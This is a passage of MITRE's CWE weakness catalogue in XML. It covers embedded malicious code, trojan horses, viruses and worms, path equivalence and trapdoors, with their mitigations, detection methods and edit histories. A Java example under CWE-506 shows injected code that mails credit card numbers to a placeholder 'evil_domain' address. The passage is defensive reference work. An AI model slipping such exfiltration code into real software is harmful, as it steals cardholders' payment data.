					<Modification_Comment>updated Alternate_Terms, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="506" Name="Embedded Malicious Code" Abstraction="Class" Structure="Simple" Status="Incomplete">
         <Description>The product contains code that appears to be malicious in nature.</Description>
         <Extended_Description>Malicious flaws have acquired colorful names, including Trojan horse, trapdoor, timebomb, and logic-bomb. A developer might insert malicious code with the intent to subvert the security of a product or its host system at some time in the future. It generally refers to a program that performs a useful service but exploits rights of the program's user in a way the user does not intend.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="912" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Bundling</Phase>
            </Introduction>
            <Introduction>
               <Phase>Distribution</Phase>
            </Introduction>
            <Introduction>
               <Phase>Installation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method>
               <Method>Manual Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Binary / Bytecode disassembler - then use manual analysis for vulnerabilities &amp; anomalies</xhtml:li>
                           <xhtml:li>Generated Code Inspection</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Manual Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Automated Monitored Execution</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Manual Source Code Review (not inspections)</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Origin Analysis</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Testing</Phase>
               <Description>Remove the malicious code and start an effort to ensure that no more malicious code exists. This may require a detailed review of all code, as it is possible to hide a serious attack in only one or two lines of code. These lines may be located almost anywhere in an application and may have been intentionally obfuscated by the attacker.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In the example below, a malicous developer has injected code to send credit card numbers to the developer's own email address.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>boolean authorizeCard(String ccn) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>// Authorize credit card.</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>...</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>mailCardNumber(ccn, "evil_developer@evil_domain.com");</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="Landwehr">
               <Entry_Name>Malicious</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="442"/>
            <Related_Attack_Pattern CAPEC_ID="448"/>
            <Related_Attack_Pattern CAPEC_ID="636"/>
         </Related_Attack_Patterns>
         <Notes>
            <Note Type="Terminology">The term "Trojan horse" was introduced by Dan Edwards and recorded by James Anderson [18] to characterize a particular computer security threat; it has been redefined many times [4,18-20].</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>Landwehr</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Other_Notes, Terminology_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Detection_Factors</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-01-30">Malicious</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="507" Name="Trojan Horse" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product appears to contain benign or useful functionality, but it also contains code that is hidden from normal operation that violates the intended security policy of the user or the system administrator.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="506" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Operation</Phase>
               <Description>Most antivirus software scans for Trojan Horses.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Installation</Phase>
               <Description>Verify the integrity of the product that is being installed.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="Landwehr">
               <Entry_Name>Trojan Horse</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="698"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-7" Section="Chapter 7, &#34;Viruses, Trojans, and Worms In a Nutshell&#34; Page 208"/>
         </References>
         <Notes>
            <Note Type="Other">Potentially malicious dynamic code compiled at runtime can conceal any number of attacks that will not appear in the baseline. The use of dynamically compiled code could also allow the injection of attacks on post-deployed applications.</Note>
            <Note Type="Terminology">
               <xhtml:p>Definitions of "Trojan horse" and related terms have varied widely over the years, but common usage in 2008 generally refers to software that performs a legitimate function, but also contains malicious code.</xhtml:p>
               <xhtml:p>Almost any malicious code can be called a Trojan horse, since the author of malicious code needs to disguise it somehow so that it will be invoked by a nonmalicious user (unless the author means also to invoke the code, in which case they presumably already possess the authorization to perform the intended sabotage). A Trojan horse that replicates itself by copying its code into other program files (see case MA1) is commonly referred to as a virus. One that replicates itself by creating new processes or files to contain its code, instead of modifying existing storage entities, is often called a worm. Denning provides a general discussion of these terms; differences of opinion about the term applicable to a particular flaw or its exploitations sometimes occur.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>Landwehr</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description, Terminology_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated References, Terminology_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="508" Name="Non-Replicating Malicious Code" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>Non-replicating malicious code only resides on the target system or product that is attacked; it does not attempt to spread to other systems.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="507" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Operation</Phase>
               <Description>Antivirus software can help mitigate known malicious code.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Installation</Phase>
               <Description>Verify the integrity of the software that is being installed.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="Landwehr">
               <Entry_Name>Non-Replicating</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>Landwehr</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-01-30">Non-Replicating</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="509" Name="Replicating Malicious Code (Virus or Worm)" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>Replicating malicious code, including viruses and worms, will attempt to attack other systems once it has successfully compromised the target system or the product.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="507" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Operation</Phase>
               <Description>Antivirus software scans for viruses or worms.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Installation</Phase>
               <Description>Always verify the integrity of the software that is being installed.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="Landwehr">
               <Entry_Name>Replicating (virus)</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>Landwehr</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-01-30">Replicating (virus)</Previous_Entry_Name>
            <Previous_Entry_Name Date="2008-04-11">Replicating Malicious Code (virus)</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="51" Name="Path Equivalence: '/multiple//internal/slash'" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product accepts path input in the form of multiple internal slash ('/multiple//internal/slash/') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="41" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Files or Directories</Impact>
               <Impact>Modify Files or Directories</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-1483</Reference>
               <Description>Read files with full pathname using multiple internal slash.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1483</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>/multiple//internal/slash ('multiple internal slash')</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP16</Entry_ID>
               <Entry_Name>Path Traversal</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Path Issue - Multiple Internal Slash - /multiple//internal/slash</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="510" Name="Trapdoor" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>A trapdoor is a hidden piece of code that responds to a special input, allowing its user access to resources without passing through the normal security enforcement mechanism.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="506" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Scope>Access Control</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Impact>Bypass Protection Mechanism</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method>
               <Method>Automated Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Inter-application Flow Analysis</xhtml:li>
                           <xhtml:li>Binary / Bytecode simple extractor - strings, ELF readers, etc.</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
